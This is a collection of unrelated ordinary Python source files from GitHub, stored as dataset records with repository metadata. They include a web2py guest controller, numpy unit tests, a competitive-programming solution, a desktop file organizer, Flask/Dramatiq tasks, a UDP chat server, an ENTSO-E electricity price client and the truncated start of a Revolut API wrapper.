\"confirm_guest\",\n vars={\"guesid\": request.vars.guest_id},\n )\n )\n else:\n redirect(\n URL(\n \"show\",\n vars={\"guesid\": request.vars.guest_id, \"tab\": \"stay\"},\n )\n )\n return dict(form=edit_stay, guest=guest.name, stay=request.vars.stayid)\n\n\n# list ######################################################################\n@auth.requires_login()\ndef list():\n # get page\n page = int(request.vars.page) if request.vars.page else 1\n\n # if exists session.mapp or session.register delete it\n if session.mapp or session.register:\n clear_session()\n\n # search\n search = FORM(\n INPUT(_name=\"term\", _class=\"form-control me-1\"),\n INPUT(\n _type=\"submit\",\n _class=\"btn btn-outline-success me-2\",\n _value=T(\"search\"),\n ),\n _class=\"d-flex\",\n )\n search.element(_name=\"term\")[\"_style\"] = \"width: 15rem;\"\n search.element(_name=\"term\")[\"_placeholder\"] = T(\"search\")\n\n # term\n term = request.vars.term or \"\"\n\n # select query\n if not term:\n query = (\n (Guest.id > 0)\n & (Guest.is_active == True)\n & (Guest.center == auth.user.center)\n )\n else:\n if term.isdigit():\n query = (Guest.enrollment == term) & (\n Guest.center == auth.user.center\n )\n else:\n like_term = des(f\"%%{term.lower()}%%\")\n query = (\n (Guest.name_sa.lower().like(like_term))\n & (Guest.is_active == True)\n & (Guest.center == auth.user.center)\n )\n\n # get rows\n rows = db(query).select(orderby=Guest.name_sa, limitby=(0, 10))\n\n return dict(search=search.process(), rows=rows, page=page, term=term)\n\n\ndef infinite_scroll():\n response.view = \"guest/guests.html\"\n # get page\n page = int(request.vars.page)\n regs = 10\n # set vars\n term = request.vars.term or \"\"\n\n # select query\n if not term:\n query = (\n (Guest.id > 0)\n & (Guest.is_active == True)\n & (Guest.center == auth.user.center)\n )\n else:\n if term.isdigit():\n query = (Guest.enrollment == term) & (\n Guest.center == auth.user.center\n )\n else:\n like_term = des(f\"%%{term.lower()}%%\")\n query = (\n (Guest.name_sa.lower().like(like_term))\n & (Guest.is_active == True)\n & (Guest.center == auth.user.center)\n )\n\n # get limitby\n limitby = (regs * (page - 1), regs * page)\n\n # get rows\n rows = db(query).select(orderby=Guest.name_sa, limitby=limitby)\n\n return dict(rows=rows, page=page, term=term)\n\n\n# show ######################################################################\n@auth.requires_login()\ndef show():\n guesid = request.vars.guesid\n guest = Guest[guesid] or redirect(URL(\"list\"))\n guest.age = (\n (date.today() - guest.birthday).days // 365 if guest.birthday else 0\n )\n stays = db(Guest_Stay.guesid == guesid).select() or None\n credit_log = guest.credit_log.select(orderby=~Credit_Log.id)\n historic = db(Register.guesid == guesid).select(\n orderby=~Register.created_on\n )\n tab = request.vars.tab if request.vars.tab else \"home\"\n\n return dict(\n guest=guest,\n stays=stays,\n credit_log=credit_log,\n historic=historic,\n tab_pres=tab,\n )\n\n\n# delete ####################################################################\n@auth.requires_login()\n@auth.requires(auth.has_membership(\"root\") or auth.has_membership(\"admin\"))\ndef delete():\n guesid = int(request.args(0)) or redirect(URL(\"list\"))\n guest = Guest[guesid]\n if db(Register.guesid == guesid).select():\n guest.update_record(is_active=False)\n return \"window.location = document.referrer;\"\n else:\n guest.delete_record()\n return \"window.location = document.referrer;\"\n\n\n# delete stay ###############################################################\n@auth.requires_login()\n@auth.requires(auth.has_membership(\"root\") or auth.has_membership(\"admin\"))\ndef delete_stay():\n stay = Guest_Stay[request.args(0)]\n guesid = stay.guesid\n if stay:\n stay.delete_record()\n db.commit()\n return \"window.location = document.referrer;\"\n\n\n# forms #####################################################################\ndef _guest_form(instance=None):\n form = (\n SQLFORM(Guest, instance, submit_button=T(\"Update\"))\n if instance\n else SQLFORM(Guest, submit_button=T(\"Add\"))\n )\n # adjust fields\n form.element(\"form\")[\"_class\"] = \"\"\n if auth.has_membership(\"root\") or auth.has_membership(\"admin\"):\n form.element(\"option\", _value=int(auth.user.center))[\n \"_selected\"\n ] = \"selected\"\n elif auth.user.center:\n form.element(_id=\"guest_center__row\")[\"_class\"] = \"d-none\"\n form.element(\"option\", _value=int(auth.user.center))[\n \"_selected\"\n ] = \"selected\"\n if not auth.has_membership(\"root\"):\n form.element(_id=\"guest_credit__row\")[\"_class\"] = \"d-none\"\n if instance:\n form.element(_id=\"guest_id__row\")[\"_class\"] = \"d-none\"\n form.element(_id=\"guest_name_sa__row\")[\"_class\"] = \"d-none\"\n form.element(_name=\"ps\")[\"_rows\"] = 2\n form.element(_id=\"submit_record__row\")[\"_class\"] = \"mt-3 text-end\"\n submit_class = \"btn btn-outline-{} btn-lg mb-4\".format(\n \"secondary\" if instance else \"primary\"\n )\n form.element(_type=\"submit\")[\"_class\"] = submit_class\n\n return form\n\n\ndef _stay_form(instance=None):\n form = (\n SQLFORM(Guest_Stay, instance, submit_button=T(\"Update\"))\n if instance\n else SQLFORM(Guest_Stay, submit_button=T(\"Add\"))\n )\n # adjust fields - common elements (add/update)\n form.element(\"form\")[\"_class\"] = \"\"\n form.element(_id=\"guest_stay_guesid__row\")[\"_class\"] = \"d-none\"\n\n if request.vars.guest_id:\n elm_guesid = form.element(_name=\"guesid\")\n elm_guesid.element(\"option\", _value=request.vars.guest_id)[\n \"_selected\"\n ] = \"selected\"\n\n form.element(_name=\"ps\")[\"_rows\"] = 2\n form.element(_id=\"submit_record__row\")[\"_class\"] = \"mt-3 text-end\"\n submit_class = \"btn btn-outline-{} btn-lg mb-4\".format(\n \"secondary\" if instance else \"primary\"\n )\n form.element(_type=\"submit\")[\"_class\"] = submit_class\n\n if instance:\n form.element(_id=\"guest_stay_id__row\")[\"_class\"] = \"d-none\"\n form.element(_name=\"description\")[\"_placeholder\"] = T(\n \"describe the tasks\"\n )\n form.element(_name=\"description\")[\"_rows\"] = 2\n\n if auth.has_membership(\"office\"):\n form.element(_id=\"guest_stay_bedroom__row\")[\"_class\"] = \"d-none\"\n form.element(_id=\"guest_stay_bedroom_alt__row\")[\n \"_class\"\n ] = \"d-none\"\n form.element(_id=\"guest_stay_description__row\")[\n \"_class\"\n ] = \"d-none\"\n\n if auth.has_membership(\"root\") or auth.has_membership(\"admin\"):\n form.element(_name=\"description\")[\"_rows\"] = 2\n\n else:\n form.element(_id=\"guest_stay_bedroom__row\")[\"_class\"] = \"d-none\"\n form.element(_id=\"guest_stay_bedroom_alt__row\")[\"_class\"] = \"d-none\"\n form.element(_id=\"guest_stay_description__row\")[\"_class\"] = \"d-none\"\n\n return form\n","repo_name":"cesargodoi/register2event-old","sub_path":"controllers/guest.py","file_name":"guest.py","file_ext":"py","file_size_in_byte":10063,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"22699534683","text":"from edgedetect import moving_average, threshold, full_cumsum\nfrom _edgedetect import find_zero_crossings\nimport numpy as np\nfrom numpy.random import rand\n\ndef test_moving_average():\n w = 3\n a = np.array(rand(50) * 50, dtype=np.int32)\n m = moving_average(a, w)\n \n assert len(m) == len(a) - w + 1\n for i in range(len(m)):\n assert m[i] == np.mean(a[i:i+w])\n\ndef test_threshold():\n aw = 3\n em = 2\n w = aw + em\n a = np.array(rand(50) * 50, dtype=np.int32)\n t = threshold(a, aw, em)\n \n assert len(t) == len(a) - 2*w + 1\n for i in range(w, len(t) + w):\n assert t[i-w] == np.mean([np.mean(a[i-w:i-em]), np.mean(a[i+em:i+w])])\n\ndef test_full_cumsum():\n a = np.array(rand(50) * 50, dtype=np.int32)\n c = full_cumsum(a)\n \n assert len(c) == len(a) + 1\n for i in range(len(c)):\n assert c[i] == sum(a[:i])\n\ndef test_full_cumsum_multidim():\n a = np.array(rand(50, 50, 50) * 50, dtype=np.int32)\n c = full_cumsum(a, axis=1)\n \n assert c.shape[0] == a.shape[0]\n assert c.shape[1] == a.shape[1] + 1\n assert c.shape[2] == a.shape[2]\n for i in range(a.shape[1]):\n assert np.all(c[:,i,:] == np.sum(a[:,:i,:], 1))\n\ndef test_find_zero_crossings():\n # Simple sign change\n a = np.array([-1, -1, 1, 1], dtype=float)\n c = find_zero_crossings(a, (0,0))\n assert(np.all(c == [False, True, False, False]))\n \n # Opposite direction\n a = np.array([1, 1, -1, -1], dtype=float)\n c = find_zero_crossings(a, (0,0))\n assert(np.all(c == [False, True, False, False]))\n \n # With threshold\n a = np.array([-1, -1, 1, 1], dtype=float)\n c = find_zero_crossings(a, (-0.5,0.5))\n assert(np.all(c == [False, True, False, False]))\n \n # Subthreshold values in between\n a = np.array([-1, -0.2, 0.2, 1], dtype=float)\n c = find_zero_crossings(a, (-0.5,0.5))\n assert(np.all(c == [False, True, False, False]))\n \n # All subthreshold\n a = np.array([-1, -1, 1, 1], dtype=float)\n c = find_zero_crossings(a, (-1.5,1.5))\n assert(np.all(c == [False, False, False, False]))\n \n # Exact zero\n a = np.array([-1, -1, 0, 1, 1], dtype=float)\n c = find_zero_crossings(a, (0,0))\n assert(np.all(c == [False, True, False, False, False]))\n ","repo_name":"tfmartino/STOcapstone-calibration","sub_path":"PYcalibration/tests/test_edgedetect.py","file_name":"test_edgedetect.py","file_ext":"py","file_size_in_byte":2258,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"42170093686","text":"N, M, X = map(int, input().split())\nC = []\nA = []\nfor _ in range(N):\n CA = list(map(int, input().split()))\n C.append(CA[0])\n A.append(CA[1:])\n\nINF = 10**10\nans = INF\nfor x in range(1<>i)&1: continue\n cost+=C[i]\n for m,a in enumerate(A[i]):\n R[m]+=a\n\n if min(R)>=X:\n ans=min(ans,cost)\n\nprint(-1 if ans==INF else ans)\n","repo_name":"ymtz13/CompetitiveProgramming","sub_path":"AtCoder/ABC167/C.py","file_name":"C.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"42425447180","text":"# Building a guessing game\n\nword = \"phonepe\"\nguess = \"\"\ni = 0\n\nwhile guess != word and i <= 4:\n guess = input(\"Enter the word \")\n i += 1\n\nif guess == word:\n print(\"You Win\")\nelse:\n print(\"Loser Bitch\")\n","repo_name":"girishenoy95/first","sub_path":"GuessingGame.py","file_name":"GuessingGame.py","file_ext":"py","file_size_in_byte":214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"72030387445","text":"import json\nimport os\nimport shutil\nimport subprocess\nimport tempfile\nimport sys\n\nclass DesktopFileOrganizer:\n def __init__(self):\n # Configuración inicial\n self.custom_categories = self.load_categories()\n self.setup_default_categories()\n\n def load_categories(self, file_path=\"categories.json\"):\n try:\n with open(file_path, \"r\") as file:\n return json.load(file)\n except FileNotFoundError:\n return {}\n\n def save_categories(self, categories, file_path=\"categories.json\"):\n with open(file_path, \"w\") as file:\n json.dump(categories, file, indent=2)\n\n def setup_default_categories(self, file_path=\"categories.json\", default_input=None):\n if not self.custom_categories:\n print(\"Setting up Default Categories:\")\n default_categories = {\"Images\": {\"path\": \"\", \"extensions\": [\"jpg\", \"png\", \"gif\"]},\n \"Videos\": {\"path\": \"\", \"extensions\": [\"mp4\", \"avi\", \"mkv\"]},\n \"Documents\": {\"path\": \"\", \"extensions\": [\"pdf\", \"docx\", \"txt\"]}}\n\n for category, details in default_categories.items():\n if default_input is not None:\n path = default_input.get(category, {}).get(\"path\", \"\")\n extensions = default_input.get(category, {}).get(\"extensions\", details[\"extensions\"])\n else:\n path = input(f\"Enter the path for {category} category: \")\n extensions = input(f\"Enter file extensions to be organized (comma-separated, press Enter to use defaults): \").strip()\n \n if extensions:\n extensions = [ext.strip() for ext in extensions.split(\",\")]\n else:\n extensions = details[\"extensions\"]\n\n details[\"path\"] = path\n details[\"extensions\"] = extensions\n\n self.custom_categories = default_categories\n self.save_categories(self.custom_categories, file_path)\n print(\"Default categories set up successfully!\\n\")\n\n def show_default_categories(self):\n print(\"Default Categories:\")\n for category, details in self.custom_categories.items():\n print(f\"{category}: {details['path']} (Extensions: {', '.join(details['extensions'])})\")\n print(\"\\n\")\n\n def list_set_directories(self, is_default=False):\n print(\"Set Directories:\")\n for category, details in self.custom_categories.items():\n print(f\"{category}: {details['path']} (Extensions: {', '.join(details['extensions'])})\")\n print(\"\\n\")\n \n def customize_categories(self, user_input=None):\n while True:\n print(\"Customize Categories:\")\n print(\"1. Add a category\")\n print(\"2. List set directories\")\n print(\"3. Execute immediate cleanup\")\n print(\"4. Schedule cleanup\")\n print(\"5. Exit\")\n\n choice = user_input if user_input is not None else input(\"Enter your choice (1/2/3/4): \")\n\n if choice == \"1\":\n self.add_category(user_input=user_input)\n elif choice == \"2\":\n self.list_set_directories()\n elif choice == \"3\":\n self.execute_immediate_cleanup()\n elif choice == \"4\":\n self.configure_schedule()\n elif choice == \"5\":\n break\n else:\n print(\"Invalid choice. Please try again.\\n\")\n\n def execute_immediate_cleanup(self):\n print(\"Executing immediate cleanup:\")\n desktop_path = os.path.expanduser(\"~/Desktop\")\n downloads_path = os.path.expanduser(\"~/Downloads\")\n\n for category, details in self.custom_categories.items():\n folder_path = os.path.join(details[\"path\"], details[\"extensions\"][0]) # Usamos la primera extensión como carpeta\n\n if not os.path.exists(folder_path):\n os.makedirs(folder_path)\n\n source_folders = [desktop_path, downloads_path]\n\n for source_folder in source_folders:\n for file_name in os.listdir(source_folder):\n source_path = os.path.join(source_folder, file_name)\n \n for ext in details[\"extensions\"]:\n if file_name.lower().endswith(ext.lower()):\n destination_path = os.path.join(folder_path, file_name)\n shutil.move(source_path, destination_path)\n print(f\"Moved '{file_name}' to '{category}' category.\")\n\n print(\"Immediate cleanup completed!\\n\")\n\n def move_files_to_folder(self, source_folder, destination_folder, extensions):\n os.makedirs(destination_folder, exist_ok=True)\n for file_name in os.listdir(source_folder):\n if file_name.endswith(tuple(extensions)):\n source_path = os.path.join(source_folder, file_name)\n destination_path = os.path.join(destination_folder, file_name)\n shutil.move(source_path, destination_path)\n\n \n def add_category(self, user_input=None):\n while True:\n category_name = user_input if user_input is not None else input(\"Enter the name of the category: \")\n path = user_input if user_input is not None else input(f\"Enter the path for {category_name} category: \")\n extensions = user_input if user_input is not None else input(f\"Enter file extensions to be organized (comma-separated): \").strip()\n\n if category_name and path and extensions:\n break\n else:\n print(\"Please enter all details for the category.\")\n\n if extensions:\n extensions = [ext.strip() for ext in extensions.split(\",\")]\n else:\n extensions = self.custom_categories.get(category_name, {}).get(\"extensions\", [])\n\n self.custom_categories[category_name] = {\"path\": path, \"extensions\": extensions}\n self.save_categories(self.custom_categories) # Guardar las categorías después de cada modificación\n\n print(f\"Category '{category_name}' added successfully!\\n\")\n\n def configure_schedule(self):\n print(\"Configure Schedule:\")\n self.print_cron_format_reference()\n schedule_time = input(\"Enter the schedule time for cleanup (in cron format): \")\n\n current_directory = os.getcwd()\n cron_command = f'/opt/homebrew/bin/python3 {current_directory}/organizer.py exec 3'\n cron_entry = f'{schedule_time} {cron_command}'\n\n with tempfile.NamedTemporaryFile(mode='w+', delete=False) as temp_file:\n temp_file.write(cron_entry)\n\n try:\n subprocess.run([\"crontab\", temp_file.name], check=True, text=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n print(\"Schedule configured successfully!\\n\")\n except subprocess.CalledProcessError as e:\n print(f\"Error configuring schedule: {e.output}\")\n finally:\n os.remove(temp_file.name)\n \n def print_cron_format_reference(self):\n print(\"Cron Format Reference:\")\n print(\"┌───────────── Minuto (0 - 59)\")\n print(\"│ ┌───────────── Hora (0 - 23)\")\n print(\"│ │ ┌───────────── Día del mes (1 - 31)\")\n print(\"│ │ │ ┌───────────── Mes (1 - 12)\")\n print(\"│ │ │ │ ┌───────────── Día de la semana (0 - 6) (Domingo a Sábado)\")\n print(\"│ │ │ │ │\")\n print(\"│ │ │ │ │\")\n print(\"* * * * *\")\n print(\"\\n\")\n\n def run(self):\n if len(sys.argv) > 1:\n command = sys.argv[1]\n\n if command == 'exec' and len(sys.argv) > 2:\n option = sys.argv[2]\n if option == '3':\n self.execute_immediate_cleanup()\n else:\n print(\"Invalid option. Please use 'python3 organizer.py exec 3' to execute immediate cleanup.\")\n else:\n print(\"Invalid command. Please use 'python3 organizer.py exec 3' to execute immediate cleanup.\")\n else:\n self.customize_categories()\n\nif __name__ == \"__main__\":\n organizer = DesktopFileOrganizer()\n organizer.run()\n","repo_name":"lorenzotomasdiez/promp-engineering-example","sub_path":"organizer.py","file_name":"organizer.py","file_ext":"py","file_size_in_byte":8472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"13912717002","text":"import random\n\nimport requests\nfrom flask_dramatiq import Dramatiq\nfrom flask_sse import sse\nfrom models import Webhook, get_connection\n\n# Initialise the dramatiq object, that is later called for decorating the worker methods\nflask_dramatiq_obj = Dramatiq()\n\n\n@flask_dramatiq_obj.actor()\ndef upload_product_csv_records(csv_records: list) -> None:\n \"\"\"\n This is the background function that is responsible for uploading the CSV records onto the database.\n :param csv_records: list of product records\n \"\"\"\n total_records = len(csv_records)\n connection = get_connection()\n\n cursor = connection.cursor()\n for index, product_dict in enumerate(csv_records):\n # Use Upsert logic as application dictates that record must be updated\n sql_statement = \"\"\"\n INSERT INTO product (sku, name, description, active)\n VALUES (%s,%s,%s, %s)\n ON DUPLICATE KEY UPDATE\n name=%s,\n description=%s,\n active=%s;\n \"\"\"\n params = (\n product_dict[\"sku\"].strip(),\n product_dict[\"name\"].strip(),\n product_dict[\"description\"].strip(),\n random.choice([0, 1]),\n product_dict[\"name\"].strip(),\n product_dict[\"description\"].strip(),\n random.choice([0, 1]),\n )\n cursor.execute(sql_statement, params)\n # Publish SSE event on flask sse endpoint\n sse.publish(\n {\n \"message\": \"Total:\" + str(index + 1) + \"/\" + str(total_records),\n \"total\": total_records,\n \"completed\": index + 1,\n }\n )\n # Commit the changes to the database\n connection.commit()\n\n # Close connection after work is completed.\n connection.close()\n\n\n@flask_dramatiq_obj.actor()\ndef trigger_webhooks(webhook_message) -> None:\n \"\"\"\n This is the background function to trigger webhooks.\n :param webhook_message: The webhook_message that needs to be sent to the webhooks.\n \"\"\"\n\n webhooks = Webhook.query.all()\n for item in webhooks:\n if item.url.startswith(\"http://requestbin\"):\n requests.post(item.url, data={\"message\": webhook_message})\n","repo_name":"shreyashag/product_importer","sub_path":"api/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":2184,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"9720346482","text":"import socket\r\n\r\nip = socket.gethostbyname(socket.gethostname())\r\nprint (\"Server is online at\", ip)\r\nport = int(input (\"Enter port: \"))\r\nserverSocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\r\nserverSocket.bind((ip, port))\r\nprint (\"Listening on port\", port)\r\n\r\n\r\ncounter = 1\r\nwhile (counter <= 3):\r\n if counter == 1:\r\n data, address = serverSocket.recvfrom(1024)\r\n dataString = data.decode()\r\n print (dataString)\r\n firstMessage = str(\"Server: Who's there?\")\r\n firstReply = str.encode(firstMessage)\r\n reply = serverSocket.sendto(firstReply, address)\r\n counter = counter + 1\r\n elif counter == 2:\r\n data, address = serverSocket.recvfrom(1024)\r\n dataString = data.decode()\r\n print (dataString)\r\n secondMessage = dataString.partition(\":\")[2]\r\n strippedMessage = secondMessage.lstrip()\r\n strippedEncode = str.encode(strippedMessage)\r\n serverID = str(\"Server: \")\r\n serverMessage = str.encode(serverID)\r\n who = str(\" who?\")\r\n whoMessage = str.encode(who)\r\n secondReply = serverMessage + strippedEncode + whoMessage\r\n reply = serverSocket.sendto(secondReply, address)\r\n counter = counter + 1\r\n elif counter == 3:\r\n data, address = serverSocket.recvfrom(1024)\r\n dataString = data.decode()\r\n print (dataString)\r\n break\r\n\r\nprint (\"Connection closed!\") \r\ndone = input(\"Press any key to exit!\")\r\n \r\n ","repo_name":"itsarcanedave/Python-UDP-Chat","sub_path":"Server.py","file_name":"Server.py","file_ext":"py","file_size_in_byte":1482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"41245895766","text":"import requests\nfrom urllib.parse import quote as url_encode\nimport xml.etree.ElementTree as et\nfrom datetime import date, datetime, timedelta\n\n\nCONST_REQUEST_URL = \"https://web-api.tp.entsoe.eu/api\"\nCONST_XML_NS = 'xmlns'\n\n\ndef call_api(api_token: str,\n area: str,\n date_from: date = date.today(),\n date_to: date = None) -> requests:\n url = build_request_url(api_token, area, date_from, date_to)\n resp = requests.request(\"GET\", url)\n return resp\n\n\ndef build_request_url(token: str,\n area: str,\n date_from: date = date.today(),\n date_to: date = None) -> str:\n\n if date_to is None:\n date_to = date_from + timedelta(days=1)\n\n time_int = url_encode(\n datetime(date_from.year, date_from.month, date_from.day).astimezone().isoformat(timespec='minutes') +\n \"/\" +\n datetime(date_to.year, date_to.month, date_to.day).astimezone().isoformat(timespec='minutes'))\n\n return f\"{CONST_REQUEST_URL}?\" \\\n f\"securityToken={token}&\" \\\n f\"documentType=A44&\" \\\n f\"in_Domain={area}&\" \\\n f\"out_Domain={area}&\" \\\n f\"TimeInterval={time_int}\"\n\n\ndef parse_response(response):\n # Parse response body according to response type\n ret_key = 'message' # Tag to use in return structure\n if response.status_code == 401:\n ret = parse_response_401(response.text)\n\n elif response.status_code in [200, 400]:\n root = et.fromstring(response.text)\n ns, tag = root.tag[1:].split('}') # Get NS from tag\n xml_ns = {CONST_XML_NS: ns}\n\n if tag == 'Publication_MarketDocument':\n ret = parse_response_publication_market_document(response.text, xml_ns)\n ret_key = \"data\" # Update to 'data'. All other cases are 'message'\n elif tag == 'Acknowledgement_MarketDocument':\n ret = parse_response_acknowledgement_market_document(response.text, xml_ns)\n else:\n ret = {'text': f'Unknown response dokument type ({tag})'}\n else:\n ret = {'text': 'Unknown Error'}\n\n # Wrap and return response\n return {'http_status_code': response.status_code,\n ret_key: ret}\n\n\ndef parse_response_401(xml):\n root = et.fromstring(xml)\n return {'text': root.find('body').text}\n\n\ndef parse_response_acknowledgement_market_document(xml, xml_ns):\n root = et.fromstring(xml)\n return {'code': root.find(f\"{CONST_XML_NS}:Reason/{CONST_XML_NS}:code\", xml_ns).text,\n 'text': root.find(f\"{CONST_XML_NS}:Reason/{CONST_XML_NS}:text\", xml_ns).text}\n\n\ndef parse_response_publication_market_document(xml, xml_ns):\n ret = {}\n\n root = et.fromstring(xml)\n interval_start = root.find(f\"{CONST_XML_NS}:period.timeInterval/{CONST_XML_NS}:start\", xml_ns).text\n interval_end = root.find(f\"{CONST_XML_NS}:period.timeInterval/{CONST_XML_NS}:end\", xml_ns).text\n ret[\"intervalStart\"] = interval_start\n ret[\"intervalEnd\"] = interval_end\n\n ts = root.findall(f\"{CONST_XML_NS}:TimeSeries\", xml_ns)\n ret_ts = []\n for t in ts:\n area = t.find(f\"{CONST_XML_NS}:in_Domain.mRID\", xml_ns).text\n currency = t.find(f\"{CONST_XML_NS}:currency_Unit.name\", xml_ns).text\n uom = t.find(f\"{CONST_XML_NS}:price_Measure_Unit.name\", xml_ns).text\n res = t.find(f\"{CONST_XML_NS}:Period/{CONST_XML_NS}:resolution\", xml_ns).text\n period_start = t.find(f\"{CONST_XML_NS}:Period/{CONST_XML_NS}:timeInterval/{CONST_XML_NS}:start\", xml_ns).text\n period_end = t.find(f\"{CONST_XML_NS}:Period/{CONST_XML_NS}:timeInterval/{CONST_XML_NS}:end\", xml_ns).text\n\n points = t.findall(f\"{CONST_XML_NS}:Period/{CONST_XML_NS}:Point\", xml_ns)\n ret_ps = []\n for p in points:\n pos = p.find(f\"{CONST_XML_NS}:position\", xml_ns).text\n price = p.find(f\"{CONST_XML_NS}:price.amount\", xml_ns).text\n ret_ps.append({\"position\": pos,\n \"price\": price})\n\n ret_ts.append({\"area\": area,\n \"currency\": currency,\n \"uom\": uom,\n \"resolution\": res,\n \"periodStart\": period_start,\n \"periodEnd\": period_end,\n \"points\": ret_ps})\n\n ret[\"timeSeries\"] = ret_ts\n return ret\n\n\nif __name__ == '__main__':\n print('Only for use as module')\n","repo_name":"yxkrage/hass-entso-e","sub_path":"custom_components/entso_e/entso_e.py","file_name":"entso_e.py","file_ext":"py","file_size_in_byte":4403,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"76"} +{"seq_id":"71386791287","text":"def insert_sort(nums):\r\n for i in range(1, len(nums)): # i表示摸牌的下标\r\n pre = i - 1 # 手里的牌最右边那张的下标\r\n cur = nums[i] # 此时摸的牌\r\n while pre >= 0 and nums[pre] > cur:\r\n # 摸牌比手牌小\r\n # 手牌每张右移一格\r\n nums[pre + 1] = nums[pre]\r\n # 继续比较手牌\r\n pre -= 1\r\n # 摸牌比手牌大,直接放右边\r\n nums[pre + 1] = cur\r\n return nums\r\n\r\nnums = [6, 7, 1, 2, 3, 5, 8, 4]\r\nprint(nums)\r\nres = insert_sort(nums)\r\nprint(res)","repo_name":"Thomas619233808/StudyPython","sub_path":"StudyDataStructure/S03排序/03_插入排序.py","file_name":"03_插入排序.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"20761322499","text":"# ===== pseudo code =====\n# Find the largest number from the list that is less than or equal to x.\n# Write down the roman numeral representation of this number and subtract its value from x.\n# Repeat steps 1-2 until you are left with 0.\n\n\ndef roman_num_convert(x):\n numbers = [1, 4, 5, 9, 10, 40, 50, 90, 100, 400, 500, 900, 1000]\n roman_numerals = ['I', 'IV', 'V', 'IX', 'X', 'XL', 'L', 'XC', 'C', 'CD', 'D', 'CM', 'M']\n # Each time loop runs we want to look for largest number than is less than or equal to x.\n # Largest number in list is 1000 which is the 12th index.\n i = 12\n roman_conversion = '' # variable to hold answer with empty string\n\n while x != 0: # while loop if not 0 so loop will end once the remainder is 0\n if numbers[i] <= x: # i represents 1000\n roman_conversion += roman_numerals[i] # i in both lists represent the same value\n x = x - numbers[i]\n else: # if i is not smaller or equal to x, move down the list by -1\n i = i - 1\n return roman_conversion\n\n\nwhile __name__ == \"__main__\":\n user_input = int(input(\"Please enter number for conversion or 0 to exit: \"))\n if user_input != 0:\n print(f\"The integer {user_input}, converted to roman numerals is: {roman_num_convert(user_input)}\")\n elif user_input == 0:\n print(\"Thank you for using Roman Numeral Converter. Goodbye!\")\n exit()\n","repo_name":"MontasarHamdi/Roman_Numeral_Converter-Project","sub_path":"roman_converter.py","file_name":"roman_converter.py","file_ext":"py","file_size_in_byte":1406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"72490847606","text":"from tkinter import *\n\nBackground_color = \"#FF9E9E\"\n\nscreen = Tk()\nscreen.title(\"Tik-Tak-Toe\")\nscreen.config(padx=10, pady=20, bg=Background_color)\ncanva = Canvas(width=500, height=500, bg=\"#FFCAC8\", highlightthickness=0)\ncanva.pack()\n\n\nscreen.mainloop()\n","repo_name":"JEEWAN31/100DaysAngelaYu","sub_path":"Assignment3/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"16581511663","text":"import sqlite3\nfrom employee import Employee\n\n# To enable: Shift+Ctrl+Alt+J\n# To disable: SHIFT+ALT+INSERT\nconnection = sqlite3.connect(':memory:')\ncarsor = connection.cursor()\n\ncarsor.execute(\"\"\" CREATE TABLE employee (\n first text,\n last text,\n pay integer\n\n )\"\"\")\n\n\ndef insert_emp(emp):\n with connection:\n carsor.execute(\"INSERT INTO employee VALUES (:first, :last, :pay)\", {'first': emp.first, 'last': emp.last, 'pay': emp.pay})\n\n\ndef get_emps_by_name(lastname):\n carsor.execute(\"SELECT * FROM employee WHERE last=:last\", {'last': lastname})\n return carsor.fetchall()\n\n\ndef update_pay(emp, pay):\n with connection:\n carsor.execute(\"\"\"UPDATE employee SET pay = :pay\n WHERE first = :first AND last = :last\"\"\",\n {'first': emp.first, 'last': emp.last, 'pay': pay})\n\n\ndef remove_emp(emp):\n with connection:\n carsor.execute(\"DELETE from employee WHERE first = :first AND last = :last\",\n {'first': emp.first, 'last': emp.last})\n\n\nemp_1 = Employee('John', 'Doe', 80000)\nemp_2 = Employee('Jane', 'Doe', 90000)\n\ninsert_emp(emp_1)\ninsert_emp(emp_2)\n\nemps = get_emps_by_name('Doe')\nprint(emps)\n\nupdate_pay(emp_2, 95000)\nremove_emp(emp_1)\n\nemps = get_emps_by_name()\nprint(emps)\n\nconnection.close()\n","repo_name":"Hacnine/Python-Programming","sub_path":"Sqlite/sqlite_memory.py","file_name":"sqlite_memory.py","file_ext":"py","file_size_in_byte":1370,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"39736221895","text":"from datetime import datetime\nfrom app_dir.revolut_integration.auth import Client\n\n\nAPI_BASE = \"https://api.revolut.com\"\n\n_URL_GET_ACCOUNTS = API_BASE + \"/user/current/wallet\"\n_URL_GET_TRANSACTIONS_LAST = API_BASE + \"/user/current/transactions/last\"\n_URL_QUOTE = API_BASE + \"/quote/\"\n_URL_EXCHANGE = API_BASE + \"/exchange\"\n\n_URL_GET_TOKEN_STEP1 = API_BASE + \"/signin\"\n_URL_GET_TOKEN_STEP2 = API_BASE + \"/signin/confirm\"\n\n_AVAILABLE_CURRENCIES = [\"USD\", \"RON\", \"HUF\", \"CZK\", \"GBP\", \"CAD\", \"THB\",\n \"SGD\", \"CHF\", \"AUD\", \"ILS\", \"DKK\", \"PLN\", \"MAD\",\n \"AED\", \"EUR\", \"JPY\", \"ZAR\", \"NZD\", \"HKD\", \"TRY\",\n \"QAR\", \"NOK\", \"SEK\", \"BTC\", \"ETH\", \"XRP\", \"BCH\",\n \"LTC\", \"SAR\", \"RUB\", 